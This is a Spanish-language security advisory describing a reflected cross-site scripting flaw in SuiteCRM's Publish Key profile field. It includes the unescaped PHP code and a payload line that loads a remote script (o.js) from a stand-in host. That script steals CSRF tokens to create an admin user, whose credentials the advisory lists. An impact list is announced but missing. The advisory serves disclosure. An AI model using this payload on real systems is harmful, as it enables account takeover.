
Una vulnerabilidad de seguridad en SuiteCRM que puede explotarse para robar tokens CSRF y realizar acciones no autorizadas, como crear nuevos usuarios administrativos sin la autenticación adecuada.
El campo "Publish Key" en la página Edit Profile de SuiteCRM es vulnerable a Cross-Site Scripting Reflejado (XSS), lo que permite a un atacante inyectar código JavaScript malicioso. Esto puede explotarse para robar tokens CSRF y realizar acciones no autorizadas, como crear nuevos usuarios administradores sin la autenticación adecuada.
La vulnerabilidad surge debido a una validación y saneamiento insuficientes de la entrada del campo Publish Key dentro de la aplicación SuiteCRM. Cuando un atacante inyecta un script malicioso, este se ejecuta en el contexto de la sesión de un usuario autenticado. El script inyectado (o.js) aprovecha entonces el token CSRF capturado para forjar solicitudes que crean nuevos usuarios administradores, comprometiendo efectivamente la integridad y la seguridad de la instancia del CRM.
Esta vulnerabilidad es un problema crítico de Cross-Site Scripting (XSS). Su impacto incluye:
$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);
$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";
$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";
$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);
<script src=//localhost:1235/o.js>
Username - imposter
Password - ok